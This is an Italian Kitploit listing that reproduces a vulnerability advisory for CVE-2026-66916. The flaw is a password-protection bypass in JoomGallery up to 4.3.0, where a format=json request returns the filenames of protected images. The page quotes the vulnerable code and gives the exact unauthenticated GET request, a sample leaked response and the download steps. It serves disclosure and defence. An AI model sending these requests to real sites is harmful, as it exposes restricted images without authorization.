Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66916 — Bypass delle Categorie Protette da Password tramite Formato JSON in JoomGallery | Kitploit
Strumenti/GitHubGitHub/toanln-cov/cve-2026-66916
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebSicurezza Web
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Bypass delle Categorie Protette da Password tramite Formato JSON in JoomGallery

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Bypass della Protezione con Password di una Categoria tramite Formato JSON in JoomGallery

JoomGallery ≤ 4.3.0-stable — Un Attaccante Non Autenticato Elude il Gate Password per Scaricare Immagini Protette

CVE CVSS v4.0 CWE-284 Affected Researcher


SOMMARIO

Nella vista JSON delle categorie di JoomGallery esiste un bypass del controllo degli accessi non autenticato. Quando una categoria della galleria è protetta da password, la vista HTML applica correttamente il gate password — ma la vista JSON (format=json) salta del tutto questo controllo.

Un attaccante remoto senza credenziali può recuperare il titolo della categoria, la descrizione e i nomi file casuali di tutte le immagini protette, per poi scaricare direttamente quelle immagini. La funzione di protezione con password viene aggirata con una singola richiesta HTTP.

Il bypass è limitato alle categorie il cui livello di accesso ACL di Joomla è impostato su Public (access=1). Le categorie riservate agli accessi Registered o Special sono ancora bloccate a livello ACL in JsonView.php:69.

Scarica lo strumento

VERSIONI INTERESSATE

COMPONENTEVULNERABILETESTATO SUCORRETTO
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

DETTAGLI DELLA VULNERABILITÀ

Tipo: Controllo degli Accessi Improprio (CWE-284) Autenticazione richiesta: Nessuna — non autenticato, singola richiesta HTTP File: site/com_joomgallery/src/View/Category/JsonView.php, righe 76–96

Causa Principale

JoomGallery implementa la protezione con password per le categorie tramite un flag pw_protected. Questo controllo è presente in HtmlView.php ma completamente assente in JsonView.php:

HTMLVIEW.PHP — CORRETTO (guardia presente)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — VULNERABILE (nessuna guardia)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Il parametro format=json di Joomla instrada lo stesso URL verso una classe View separata. Ogni View deve applicare i controlli degli accessi in modo indipendente — il framework non li propaga automaticamente. Lo sviluppatore ha aggiunto la guardia pw_protected a HtmlView ma l'ha omessa in JsonView.

La protezione con password di JoomGallery si basa sul mantenere segreti i nomi dei file delle immagini — i file sono salvati come asset statici in /images/joomgallery/originals/ e serviti direttamente da Apache senza alcuna autenticazione lato server. I nomi dei file sono casuali (es., secret-image-1_20260803_1951053711.jpg) e vengono rivelati solo dopo aver superato il controllo password tramite il layer PHP/Joomla. Il bypass JSON rompe questo modello rivelando i nomi dei file a richiedenti non autenticati, completando la catena di attacco fino al recupero integrale delle immagini.


PROOF OF CONCEPT

Setup di laboratorio:

  • Categoria: Secret Gallery (id=3, pw_protected=true, access=Public)
  • Contiene: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • Nessun cookie, nessuna sessione, nessuna credenziale usata in alcuno dei passaggi seguenti

1. La vista HTML applica il gate password

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Risultato: Modulo password mostrato. Nessun contenuto della categoria visibile.

Step 1 — HTML password gate


2. Anche l'accesso diretto alle immagini è bloccato tramite HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Risultato: accesso diretto alle immagini bloccato nel percorso Alias (/3-secret-gallery)

Step 2 — Image access blocked


3. Il formato JSON bypassa il controllo password — Rivelato il nome file reale

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Risposta (HTTP 200, nessuna autenticazione):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true conferma che la password è impostata. Nonostante ciò, la risposta completa, incluso il nome file casuale, viene restituita a un chiamante non autenticato.

Step 3 — JSON bypass leaks filename


4. Scaricare l'immagine protetta usando il nome file rivelato

Usando il nome file ottenuto al passaggio 3

Risultato: HTTP 200 — il file immagine viene restituito direttamente da Apache. Nessuna autenticazione richiesta.

Step 4 — Protected image downloaded


IMPATTO

  1. Lettura dei metadati della categoria protetta — titolo, descrizione, informazioni di creazione, gerarchia dei genitori, tutto restituito senza autenticazione
  2. Enumerazione di tutti i nomi file delle immagini all'interno di qualsiasi categoria Public protetta da password tramite una singola richiesta JSON
  3. Download di tutte le immagini protette alla risoluzione originale completa tramite accesso diretto ai file statici usando i nomi file reali rivelati

Qualsiasi categoria della galleria che l'amministratore ha protetto con una password è completamente compromessa. L'attaccante richiede solo l'ID numerico della categoria, che è sequenziale e banalmente enumerabile.


RIFERIMENTI

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub Advisory: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Repository del fornitore: https://github.com/JoomGallery/JoomGallery
  • Nota di rilascio del fornitore: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html